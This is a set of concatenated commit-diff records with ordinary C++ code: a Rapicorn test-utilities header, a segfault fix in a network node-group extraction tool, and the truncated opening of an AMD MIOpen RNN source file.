add_test (k, testname, (void(*)(void*)) test_func, (void*) data); }\n  typedef void (*TestTrigger)  (void (*runner) (void));\n  static void test_set_trigger (TestTrigger func);\n};\n\n\/\/\/ Register a standard test function for execution as unit test.\n#define REGISTER_TEST(name, ...)     static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('t', name, __VA_ARGS__)\n\n\/\/\/ Register a slow test function for execution as during slow unit testing.\n#define REGISTER_SLOWTEST(name, ...) static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('s', name, __VA_ARGS__)\n\n\/\/\/ Register a logging test function for output recording and verification.\n#define REGISTER_LOGTEST(name, ...) static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('l', name, __VA_ARGS__)\n\n\/\/ == Deterministic random numbers for tests ===\nchar    rand_bit                (void);                                 \/\/\/< Return a random bit.\nint32   rand_int                (void);                                 \/\/\/< Return random int.\nint32   rand_int_range          (int32 begin, int32 end);               \/\/\/< Return random int within range.\ndouble  test_rand_double        (void);                                 \/\/\/< Return random double.\ndouble  test_rand_double_range  (double range_start, double range_end); \/\/\/< Return random double within range.\n\n} \/\/ Test\n} \/\/ Rapicorn\n\n#endif \/* __RAPICORN_TESTUTILS_HH__ *\/\n<commit_msg>RCORE: reduced TASSERT to a simple alias<commit_after>\/* Rapicorn\n * Copyright (C) 2008 Tim Janik\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * A copy of the GNU Lesser General Public License should ship along\n * with this library; if not, see http:\/\/www.gnu.org\/copyleft\/.\n *\/\n#ifndef __RAPICORN_TESTUTILS_HH__\n#define __RAPICORN_TESTUTILS_HH__\n\n#include <rcore\/rcore.hh>\n\n\/\/ Test Macros\n#define TTITLE(...)             Rapicorn::Test::test_output (3, __VA_ARGS__)\n#define TSTART(...)             Rapicorn::Test::test_output (4, __VA_ARGS__)\n#define TDONE()                 Rapicorn::Test::test_output (5, \"%s\", \"\")\n#define TOUT(...)               Rapicorn::Test::test_output (0, __VA_ARGS__)\n#define TMSG(...)               Rapicorn::Test::test_output (1, __VA_ARGS__)\n#define TINFO(...)              Rapicorn::Test::test_output (2, __VA_ARGS__)\n#define TWARN(...)              Rapicorn::Test::test_output (6, __VA_ARGS__)\n#define TRUN(name, func)        ({ TSTART (name); func(); TDONE(); })\n#define TCMP(a,cmp,b)           TCMP_op (a,cmp,b,#a,#b)\n#define TASSERT                 RAPICORN_ASSERT \/\/ TASSERT (condition)\n#define TOK()                   do {} while (0) \/\/ printerr (\".\")\n#define TCMP_op(a,cmp,b,sa,sb)  do { if (a cmp b) TOK(); else {     \\\n  String __tassert_va = Rapicorn::Test::stringify_arg (a, #a);  \\\n  String __tassert_vb = Rapicorn::Test::stringify_arg (b, #b);  \\\n  Rapicorn::Logging::message (\"ABORT\", RAPICORN__FILE__, __LINE__, RAPICORN__FUNC__.c_str(), \\\n                              \"assertion failed: %s %s %s: %s %s %s\", \\\n                              sa, #cmp, sb, __tassert_va.c_str(), #cmp, __tassert_vb.c_str()); \\\n    } } while (0)\n\nnamespace Rapicorn {\n\nvoid init_core_test (const String &app_ident, int *argcp, char **argv, const StringVector &args = StringVector());\n\nnamespace Test {\n\n\/**\n * Class for profiling benchmark tests.\n * UseCase: Benchmarking function implementations, e.g. to compare sorting implementations.\n *\/\nclass Timer {\n  const double   m_deadline;\n  vector<double> m_samples;\n  double         m_test_duration;\n  int64          m_n_runs;\n  int64          loops_needed () const;\n  void           reset        ();\n  void           submit       (double elapsed, int64 repetitions);\n  static double  bench_time   ();\npublic:\n  \/\/\/ Create a Timer() instance, specifying an optional upper bound for test durations.\n  explicit       Timer        (double deadline_in_secs = 0);\n  virtual       ~Timer        ();\n  int64          n_runs       () const { return m_n_runs; }             \/\/\/< Number of benchmark runs executed\n  double         test_elapsed () const { return m_test_duration; }      \/\/\/< Seconds spent in benchmark()\n  double         min_elapsed  () const;         \/\/\/< Minimum time benchmarked for a @a callee() call.\n  double         max_elapsed  () const;         \/\/\/< Maximum time benchmarked for a @a callee() call.\n  template<typename Callee>\n  double         benchmark    (Callee callee);\n};\n\n\/**\n * @param callee        A callable function or object.\n * Method to benchmark the execution time of @a callee.\n * @returns Minimum runtime in seconds,\n *\/\ntemplate<typename Callee> double\nTimer::benchmark (Callee callee)\n{\n  reset();\n  for (int64 runs = loops_needed(); runs; runs = loops_needed())\n    {\n      int64 n = runs;\n      const double start = bench_time();\n      while (RAPICORN_LIKELY (n--))\n        callee();\n      const double stop = bench_time();\n      submit (stop - start, runs);\n    }\n  return min_elapsed();\n}\n\n\/\/ === test maintenance ===\nint     run             (void);         \/\/\/< Run all registered tests.\nbool    verbose         (void);         \/\/\/< Indicates whether tests should run verbosely.\nbool    logging         (void);         \/\/\/< Indicates whether only logging tests should be run.\nbool    slow            (void);         \/\/\/< Indicates whether only slow tests should be run.\nbool    ui_test         (void);         \/\/\/< Indicates execution of ui-thread tests.\n\nvoid    test_output     (int kind, const char *format, ...) RAPICORN_PRINTF (2, 3);\n\nvoid    add_internal    (const String &testname,\n                         void        (*test_func) (void*),\n                         void         *data);\nvoid    add             (const String &funcname,\n                         void (*test_func) (void));\ntemplate<typename D>\nvoid    add             (const String &testname,\n                         void        (*test_func) (D*),\n                         D            *data)\n{\n  add_internal (testname, (void(*)(void*)) test_func, (void*) data);\n}\n\n\/\/\/ == Stringify Args ==\ninline String                   stringify_arg  (const char   *a, const char *str_a) { return string_to_cquote (a); }\ntemplate<class V> inline String stringify_arg  (V            *a, const char *str_a) { return string_printf (\"%p\", a); }\ntemplate<class A> inline String stringify_arg  (const A      &a, const char *str_a) { return str_a; }\ntemplate<> inline String stringify_arg<float>  (const float  &a, const char *str_a) { return string_printf (\"%.8g\", a); }\ntemplate<> inline String stringify_arg<double> (const double &a, const char *str_a) { return string_printf (\"%.17g\", a); }\ntemplate<> inline String stringify_arg<bool>   (const bool   &a, const char *str_a) { return string_printf (\"%u\", a); }\ntemplate<> inline String stringify_arg<int8>   (const int8   &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int16>  (const int16  &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int32>  (const int32  &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int64>  (const int64  &a, const char *str_a) { return string_printf (\"%lld\", a); }\ntemplate<> inline String stringify_arg<uint8>  (const uint8  &a, const char *str_a) { return string_printf (\"0x%02x\", a); }\ntemplate<> inline String stringify_arg<uint16> (const uint16 &a, const char *str_a) { return string_printf (\"0x%04x\", a); }\ntemplate<> inline String stringify_arg<uint32> (const uint32 &a, const char *str_a) { return string_printf (\"0x%08x\", a); }\ntemplate<> inline String stringify_arg<uint64> (const uint64 &a, const char *str_a) { return string_printf (\"0x%08Lx\", a); }\ntemplate<> inline String stringify_arg<String> (const String &a, const char *str_a) { return string_to_cquote (a); }\n\nclass RegisterTest {\n  static void add_test (char kind, const String &testname, void (*test_func) (void*), void *data);\npublic:\n  RegisterTest (const char k, const String &testname, void (*test_func) (void))\n  { add_test (k, testname, (void(*)(void*)) test_func, NULL); }\n  RegisterTest (const char k, const String &testname, void (*test_func) (ptrdiff_t), ptrdiff_t data)\n  { add_test (k, testname, (void(*)(void*)) test_func, (void*) data); }\n  template<typename D>\n  RegisterTest (const char k, const String &testname, void (*test_func) (D*), D *data)\n  { add_test (k, testname, (void(*)(void*)) test_func, (void*) data); }\n  typedef void (*TestTrigger)  (void (*runner) (void));\n  static void test_set_trigger (TestTrigger func);\n};\n\n\/\/\/ Register a standard test function for execution as unit test.\n#define REGISTER_TEST(name, ...)     static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('t', name, __VA_ARGS__)\n\n\/\/\/ Register a slow test function for execution as during slow unit testing.\n#define REGISTER_SLOWTEST(name, ...) static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('s', name, __VA_ARGS__)\n\n\/\/\/ Register a logging test function for output recording and verification.\n#define REGISTER_LOGTEST(name, ...) static const Rapicorn::Test::RegisterTest \\\n  RAPICORN_CPP_PASTE2 (__Rapicorn_RegisterTest__line, __LINE__) ('l', name, __VA_ARGS__)\n\n\/\/ == Deterministic random numbers for tests ===\nchar    rand_bit                (void);                                 \/\/\/< Return a random bit.\nint32   rand_int                (void);                                 \/\/\/< Return random int.\nint32   rand_int_range          (int32 begin, int32 end);               \/\/\/< Return random int within range.\ndouble  test_rand_double        (void);                                 \/\/\/< Return random double.\ndouble  test_rand_double_range  (double range_start, double range_end); \/\/\/< Return random double within range.\n\n} \/\/ Test\n} \/\/ Rapicorn\n\n#endif \/* __RAPICORN_TESTUTILS_HH__ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * nets-nodegroups - Research node group structure of networks\n *\n * To research and explore node group structure of various networks, we introduced the *group type parameter Tau* and implemented a *node group extraction framework*. The framework is capable of identifying groups, such as communities, modules, core\/periphery, hubs&spokes, or similar structures. Detailed description of the algorithm can be found in:\n *\n * - L. Šubelj, N. Blagus, and M. Bajec, \"Group extraction for real-world networks: The case of communities, modules, and hubs and spokes,\" in Proc. of NetSci '13, 2013, p. 152.\n * - L. Šubelj, S. Žitnik, N. Blagus, and M. Bajec, “Node mixing and group structure of complex software networks,” Adv. Complex Syst., vol. 17, 2014.\n *\n * The adopted network node group extraction framework extracts groups from a simple undirected graph sequentially. An optimization method (currently random-restart hill climbing) is used to maximize the group criterion *W(S,T)* and extract group *S* with the corresponding linking pattern *T*. After extraction edges between *S* and *T* are removed and the whole process repeated on the largest weakly-connected component until the group criterion *W* is larger than expected on a Erdös-Rényi random graph.\n *\n * @author  gw0 [http:\/\/gw.tnode.com\/] <gw.2014@tnode.com>\n * @version (see group_h_VERSION)\n *\/\n\n#include \"Snap.h\"\n#include \"group.h\"\n\n\n\/**\n * Output ST-group assignments (*.groups)\n *\n * @param OutFNm Output file name\n * @param OutMode Output fopen mode (eg. \"wt\")\n * @param argc Number of program parameters\n * @param argv Program parameters\n * @param InFNm Input file name\n * @param GroupV List of ST-group extraction results\n *\/\nvoid OutputGroups(const TStr& OutFNm, const TStr& OutMode, const int argc, \/*const*\/ char* argv[], const TStr& InFNm, const TIntStrH& NIdLabelH, \/*const*\/ TGroupSTV& GroupV) {\n  FILE* F = fopen(OutFNm.CStr(), OutMode.CStr());\n  fprintf(F, \"# nets-nodegroups. Build: %.2f, %s, %s. Time: %s\\n\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm());\n  fprintf(F, \"#\");\n  for (int i = 0; i < argc; ++i) {\n    fprintf(F, \" %s\", argv[i]);\n  }\n  fprintf(F, \"\\n\");\n  fprintf(F, \"# Input: %s  Nodes: %d  Edges: %d\\n\", InFNm.CStr(), GroupV[0].N, GroupV[0].M);\n  fprintf(F, \"# Group results: %d\\n\", GroupV.Len());\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    TGroupST& G = GroupV[j];\n    fprintf(F, \"#   %-3d %s\\n\", j, G.GetStr().CStr());\n  }\n  fprintf(F, \"# NId\\tGroupS\\tGroupT\\tNLabel\\n\");\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    \/\/ in S and T\n    for (int i = 0; i < GroupV[j].SubSNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubSNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (GroupV[j].SubTNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t%d\\t%d\\t%s\\n\", NId, j, j, NIdLabel.CStr());\n      }\n    }\n    \/\/ in S, but not T\n    for (int i = 0; i < GroupV[j].SubSNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubSNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (!GroupV[j].SubTNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t%d\\t-1\\t%s\\n\", NId, j, NIdLabel.CStr());\n      }\n    }\n    \/\/ in T, but not S\n    for (int i = 0; i < GroupV[j].SubTNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubTNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (!GroupV[j].SubSNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t-1\\t%d\\t%s\\n\", NId, j, NIdLabel.CStr());\n      }\n    }\n  }\n  fclose(F);\n}\n\n\n\/**\n * Output ST-group extraction results summary (*.groupssum)\n *\n * @param OutSumFNm Output file name\n * @param OutMode Output fopen mode (eg. \"wt\")\n * @param argc Number of program parameters\n * @param argv Program parameters\n * @param InFNm Input file name\n * @param GroupV List of ST-group extraction results\n *\/\nvoid OutputGroupsSum(const TStr& OutSumFNm, const TStr& OutMode, const int argc, \/*const*\/ char* argv[], const TStr& InFNm, const TIntStrH& NIdLabelH, \/*const*\/ TGroupSTV& GroupV) {\n  FILE* F = fopen(OutSumFNm.CStr(), OutMode.CStr());\n  fprintf(F, \"# nets-nodegroups. Build: %.2f, %s, %s. Time: %s\\n\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm());\n  fprintf(F, \"#\");\n  for (int i = 0; i < argc; ++i) {\n    fprintf(F, \" %s\", argv[i]);\n  }\n  fprintf(F, \"\\n\");\n  fprintf(F, \"# Input: %s  Nodes: %d  Edges: %d\\n\", InFNm.CStr(), GroupV[0].N, GroupV[0].M);\n  fprintf(F, \"# Group results: %d\\n\", GroupV.Len());\n  fprintf(F, \"N\\tM\\tN_S\\tM_S\\tN_T\\tM_T\\tN_ST\\tM_ST\\tL_ST\\tL_STc\\tW\\tTau\\tMod_S\\tMod_T\\tType\\n\");\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    TGroupST& G = GroupV[j];\n    fprintf(F, \"%s\\n\", G.GetStr(21).CStr());\n  }\n  fclose(F);\n}\n\n\n\/**\n * Console application entry point\n *\/\nint main(int argc, char* argv[]) {\n  \/\/ Header\n  Env = TEnv(argc, argv, TNotify::StdNotify);\n  Env.PrepArgs(TStr::Fmt(\"nets-nodegroups. Build: %.2f, %s, %s. Time: %s\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm()), 1);\n  TExeTm ExeTm;\n  Try\n\n  \/\/ Parameters\n  const TStr PrefixFNm = Env.GetIfArgPrefixStr(\"-o:\", \"graph\", \"Input and output file name prefix (can be overriden)\");\n  const TStr InFNm = Env.GetIfArgPrefixStr(\"-i:\", PrefixFNm + \".edgelist\", \"Input file with graph edges (undirected edge per line)\");\n  const TStr LabelFNm = Env.GetIfArgPrefixStr(\"-l:\", PrefixFNm + \".labels\", \"Optional input file with node labels (node ID, node label)\");\n  const TStr OutFNm = Env.GetIfArgPrefixStr(\"-og:\", PrefixFNm + \".groups\", \"Output file with ST-group assignments\");\n  const TStr OutSumFNm = Env.GetIfArgPrefixStr(\"-os:\", PrefixFNm + \".groupssum\", \"Output file with only ST-group extraction summary\");\n  const TInt OptRestarts = Env.GetIfArgPrefixInt(\"-n:\", DEF_OptRestarts, \"Number of restarts of the optimization algorithm\");\n  const TInt OptMxSteps = Env.GetIfArgPrefixInt(\"-sm:\", DEF_OptMxSteps, \"Maximal number of steps in each optimization run\");\n  const TInt OptStopSteps = Env.GetIfArgPrefixInt(\"-sw:\", DEF_OptStopSteps, \"Stop optimization if no W improvement in steps\");\n  const TInt OptInitSample = Env.GetIfArgPrefixInt(\"-ss:\", DEF_OptInitSample, \"Initial random-sample size of S ant T (0=random)\");\n  const TInt FinishCnt = Env.GetIfArgPrefixInt(\"-fn:\", DEF_FinishCnt, \"Finish after extracting so many groups\");\n  const TFlt FinishRndW = Env.GetIfArgPrefixFlt(\"-fw:\", DEF_FinishRndW, \"Finish if W smaller than top percentile on random graphs\");\n  const TInt RndGraphs = Env.GetIfArgPrefixInt(\"-rg:\", DEF_RndGraphs, \"Number of different Erdos-Renyi random graphs\");\n  const TInt RndRestarts = Env.GetIfArgPrefixInt(\"-rn:\", DEF_RndRestarts, \"Number of restarts on each Erdos-Renyi random graph\");\n  const TFlt RndRecompW = Env.GetIfArgPrefixFlt(\"-rf:\", DEF_RndRecompW, \"Force W recomputation on random graphs when relative difference smaller\");\n\n  \/\/ Input\n  PUNGraph Graph = TSnap::LoadEdgeList<PUNGraph>(InFNm, false);\n  TIntStrH NIdLabelH;\n  if (TFile::Exists(LabelFNm)) {  \/\/ optional labels\n    TSsParser Ss(LabelFNm, ssfTabSep);\n    while (Ss.Next()) {\n      if (Ss.GetFlds() > 0) {\n        NIdLabelH.AddDat(Ss.GetInt(0), Ss.GetFld(1));\n      }\n    }\n  }\n\n  \/\/ Run ST-group extraction framework\n  TGroupSTV GroupV;\n  GroupExtractFramework(GroupV, Graph, OptRestarts, OptMxSteps, OptStopSteps, OptInitSample, FinishCnt, FinishRndW, RndGraphs, RndRestarts, RndRecompW);\n\n  \/\/ Output ST-group assignments (*.groups)\n  if(OutFNm.Len() > 0) {\n    OutputGroups(OutFNm, \"wt\", argc, argv, InFNm, NIdLabelH, GroupV);\n  }\n\n  \/\/ Output ST-group extraction results summary (*.groupssum)\n  if(OutSumFNm.Len() > 0) {\n    OutputGroupsSum(OutSumFNm, \"wt\", argc, argv, InFNm, NIdLabelH, GroupV);\n  }\n\n  \/\/ Footer\n  Catch\n  printf(\"\\nrun time: %s (%s)\\n\", ExeTm.GetTmStr(), TSecTm::GetCurTm().GetTmStr().CStr());\n  return 0;\n}\n<commit_msg>Fix segfault if no group is extracted.<commit_after>\/**\n * nets-nodegroups - Research node group structure of networks\n *\n * To research and explore node group structure of various networks, we introduced the *group type parameter Tau* and implemented a *node group extraction framework*. The framework is capable of identifying groups, such as communities, modules, core\/periphery, hubs&spokes, or similar structures. Detailed description of the algorithm can be found in:\n *\n * - L. Šubelj, N. Blagus, and M. Bajec, \"Group extraction for real-world networks: The case of communities, modules, and hubs and spokes,\" in Proc. of NetSci '13, 2013, p. 152.\n * - L. Šubelj, S. Žitnik, N. Blagus, and M. Bajec, “Node mixing and group structure of complex software networks,” Adv. Complex Syst., vol. 17, 2014.\n *\n * The adopted network node group extraction framework extracts groups from a simple undirected graph sequentially. An optimization method (currently random-restart hill climbing) is used to maximize the group criterion *W(S,T)* and extract group *S* with the corresponding linking pattern *T*. After extraction edges between *S* and *T* are removed and the whole process repeated on the largest weakly-connected component until the group criterion *W* is larger than expected on a Erdös-Rényi random graph.\n *\n * @author  gw0 [http:\/\/gw.tnode.com\/] <gw.2014@tnode.com>\n * @version (see group_h_VERSION)\n *\/\n\n#include \"Snap.h\"\n#include \"group.h\"\n\n\n\/**\n * Output ST-group assignments (*.groups)\n *\n * @param OutFNm Output file name\n * @param OutMode Output fopen mode (eg. \"wt\")\n * @param argc Number of program parameters\n * @param argv Program parameters\n * @param InFNm Input file name\n * @param GroupV List of ST-group extraction results\n *\/\nvoid OutputGroups(const TStr& OutFNm, const TStr& OutMode, const int argc, \/*const*\/ char* argv[], const TStr& InFNm, const int GraphN, const int GraphM, const TIntStrH& NIdLabelH, \/*const*\/ TGroupSTV& GroupV) {\n  FILE* F = fopen(OutFNm.CStr(), OutMode.CStr());\n  fprintf(F, \"# nets-nodegroups. Build: %.2f, %s, %s. Time: %s\\n\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm());\n  fprintf(F, \"#\");\n  for (int i = 0; i < argc; ++i) {\n    fprintf(F, \" %s\", argv[i]);\n  }\n  fprintf(F, \"\\n\");\n  fprintf(F, \"# Input: %s  Nodes: %d  Edges: %d\\n\", InFNm.CStr(), GraphN, GraphM);\n  fprintf(F, \"# Group results: %d\\n\", GroupV.Len());\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    TGroupST& G = GroupV[j];\n    fprintf(F, \"#   %-3d %s\\n\", j, G.GetStr().CStr());\n  }\n  fprintf(F, \"# NId\\tGroupS\\tGroupT\\tNLabel\\n\");\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    \/\/ in S and T\n    for (int i = 0; i < GroupV[j].SubSNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubSNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (GroupV[j].SubTNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t%d\\t%d\\t%s\\n\", NId, j, j, NIdLabel.CStr());\n      }\n    }\n    \/\/ in S, but not T\n    for (int i = 0; i < GroupV[j].SubSNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubSNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (!GroupV[j].SubTNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t%d\\t-1\\t%s\\n\", NId, j, NIdLabel.CStr());\n      }\n    }\n    \/\/ in T, but not S\n    for (int i = 0; i < GroupV[j].SubTNIdV.Len(); ++i) {\n      int NId = GroupV[j].SubTNIdV[i].Val;\n      TStr NIdLabel = TStr(\"-\");\n      if (NIdLabelH.IsKey(NId))\n        NIdLabel = NIdLabelH.GetDat(NId);\n\n      if (!GroupV[j].SubSNIdV.IsInBin(NId)) {\n        fprintf(F, \"%d\\t-1\\t%d\\t%s\\n\", NId, j, NIdLabel.CStr());\n      }\n    }\n  }\n  fclose(F);\n}\n\n\n\/**\n * Output ST-group extraction results summary (*.groupssum)\n *\n * @param OutSumFNm Output file name\n * @param OutMode Output fopen mode (eg. \"wt\")\n * @param argc Number of program parameters\n * @param argv Program parameters\n * @param InFNm Input file name\n * @param GroupV List of ST-group extraction results\n *\/\nvoid OutputGroupsSum(const TStr& OutSumFNm, const TStr& OutMode, const int argc, \/*const*\/ char* argv[], const TStr& InFNm, const int GraphN, const int GraphM, const TIntStrH& NIdLabelH, \/*const*\/ TGroupSTV& GroupV) {\n  FILE* F = fopen(OutSumFNm.CStr(), OutMode.CStr());\n  fprintf(F, \"# nets-nodegroups. Build: %.2f, %s, %s. Time: %s\\n\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm());\n  fprintf(F, \"#\");\n  for (int i = 0; i < argc; ++i) {\n    fprintf(F, \" %s\", argv[i]);\n  }\n  fprintf(F, \"\\n\");\n  fprintf(F, \"# Input: %s  Nodes: %d  Edges: %d\\n\", InFNm.CStr(), GraphN, GraphM);\n  fprintf(F, \"# Group results: %d\\n\", GroupV.Len());\n  fprintf(F, \"N\\tM\\tN_S\\tM_S\\tN_T\\tM_T\\tN_ST\\tM_ST\\tL_ST\\tL_STc\\tW\\tTau\\tMod_S\\tMod_T\\tType\\n\");\n  for (int j = 0; j < GroupV.Len(); ++j) {\n    TGroupST& G = GroupV[j];\n    fprintf(F, \"%s\\n\", G.GetStr(21).CStr());\n  }\n  fclose(F);\n}\n\n\n\/**\n * Console application entry point\n *\/\nint main(int argc, char* argv[]) {\n  \/\/ Header\n  Env = TEnv(argc, argv, TNotify::StdNotify);\n  Env.PrepArgs(TStr::Fmt(\"nets-nodegroups. Build: %.2f, %s, %s. Time: %s\", group_h_VERSION, __TIME__, __DATE__, TExeTm::GetCurTm()), 1);\n  TExeTm ExeTm;\n  Try\n\n  \/\/ Parameters\n  const TStr PrefixFNm = Env.GetIfArgPrefixStr(\"-o:\", \"graph\", \"Prefix for all file names (simplified usage)\");\n  const TStr InFNm = Env.GetIfArgPrefixStr(\"-i:\", PrefixFNm + \".edgelist\", \"Input file with graph edges (undirected edge per line)\");\n  const TStr LabelFNm = Env.GetIfArgPrefixStr(\"-l:\", PrefixFNm + \".labels\", \"Input file (optional) with node labels (node ID, node label)\");\n  const TStr OutFNm = Env.GetIfArgPrefixStr(\"-og:\", PrefixFNm + \".groups\", \"Output file with ST-group assignments\");\n  const TStr OutSumFNm = Env.GetIfArgPrefixStr(\"-os:\", PrefixFNm + \".groupssum\", \"Output file with only ST-group extraction summary\");\n  const TInt OptRestarts = Env.GetIfArgPrefixInt(\"-n:\", DEF_OptRestarts, \"Number of restarts of the optimization algorithm\");\n  const TInt OptMxSteps = Env.GetIfArgPrefixInt(\"-sm:\", DEF_OptMxSteps, \"Maximal number of steps in each optimization run\");\n  const TInt OptStopSteps = Env.GetIfArgPrefixInt(\"-sw:\", DEF_OptStopSteps, \"Stop optimization if no W improvement in steps\");\n  const TInt OptInitSample = Env.GetIfArgPrefixInt(\"-ss:\", DEF_OptInitSample, \"Initial random-sample size of S ant T (0=random)\");\n  const TInt FinishCnt = Env.GetIfArgPrefixInt(\"-fn:\", DEF_FinishCnt, \"Finish after extracting so many groups\");\n  const TFlt FinishRndW = Env.GetIfArgPrefixFlt(\"-fw:\", DEF_FinishRndW, \"Finish if W smaller than top percentile on random graphs\");\n  const TInt RndGraphs = Env.GetIfArgPrefixInt(\"-rg:\", DEF_RndGraphs, \"Random graphs (Erdos-Renyi) to construct for estimating W\");\n  const TInt RndRestarts = Env.GetIfArgPrefixInt(\"-rn:\", DEF_RndRestarts, \"Random graph restarts of the optimization algorithm\");\n  const TFlt RndRecompW = Env.GetIfArgPrefixFlt(\"-rf:\", DEF_RndRecompW, \"Random graph reestimation of W if relative difference smaller\");\n\n  \/\/ Input\n  PUNGraph Graph = TSnap::LoadEdgeList<PUNGraph>(InFNm, false);\n  TIntStrH NIdLabelH;\n  if (TFile::Exists(LabelFNm)) {  \/\/ optional labels\n    TSsParser Ss(LabelFNm, ssfTabSep);\n    while (Ss.Next()) {\n      if (Ss.GetFlds() > 0) {\n        NIdLabelH.AddDat(Ss.GetInt(0), Ss.GetFld(1));\n      }\n    }\n  }\n\n  \/\/ Run ST-group extraction framework\n  TGroupSTV GroupV;\n  GroupExtractFramework(GroupV, Graph, OptRestarts, OptMxSteps, OptStopSteps, OptInitSample, FinishCnt, FinishRndW, RndGraphs, RndRestarts, RndRecompW);\n\n  \/\/ Output ST-group assignments (*.groups)\n  if(OutFNm.Len() > 0) {\n    OutputGroups(OutFNm, \"wt\", argc, argv, InFNm, Graph->GetNodes(), Graph->GetEdges(), NIdLabelH, GroupV);\n  }\n\n  \/\/ Output ST-group extraction results summary (*.groupssum)\n  if(OutSumFNm.Len() > 0) {\n    OutputGroupsSum(OutSumFNm, \"wt\", argc, argv, InFNm, Graph->GetNodes(), Graph->GetEdges(), NIdLabelH, GroupV);\n  }\n\n  \/\/ Footer\n  Catch\n  printf(\"\\nrun time: %s (%s)\\n\", ExeTm.GetTmStr(), TSecTm::GetCurTm().GetTmStr().CStr());\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n *\n * MIT License\n *\n * Copyright (c) 2017 Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#include <..\/driver\/tensor_driver.hpp>\n#include <miopen\/rnn.hpp>\n#include <miopen\/env.hpp>\n#include <miopen\/util.hpp>\n#include <miopen\/float_equal.hpp>\n#include <vector>\n#include <numeric>\n\n#include <miopengemm\/gemm.hpp>\n\nnamespace miopen {\n\nMIOPEN_DECLARE_ENV_VAR(MIOPEN_DEBUG_CONV_DIRECT)\n\nstruct AutoEnableProfiling\n{\n    AutoEnableProfiling(Handle& x) : h(x)\n    {\n        prev_state = h.IsProfilingEnabled();\n        h.EnableProfiling();\n    }\n\n    ~AutoEnableProfiling()\n    {\n        h.EnableProfiling(prev_state);\n        h.ResetKernelTime();\n    }\n\n    private:\n    Handle& h;\n    bool prev_state;\n};\n\n\nvoid RNNDescriptor::RNNForwardTraining(Handle& handle,\n\tconst int seqLen,\n\/\/\tconst TensorDescriptor& xDesc,\n\tConstData_t x,\n\/\/\tconst TensorDescriptor& hxDesc,\n\tConstData_t hx,\n\/\/\tconst TensorDescriptor& cxDesc,\n\tConstData_t cx,\n\/\/\tconst TensorDescriptor& wDesc,\n\tConstData_t w,\n\/\/\tconst 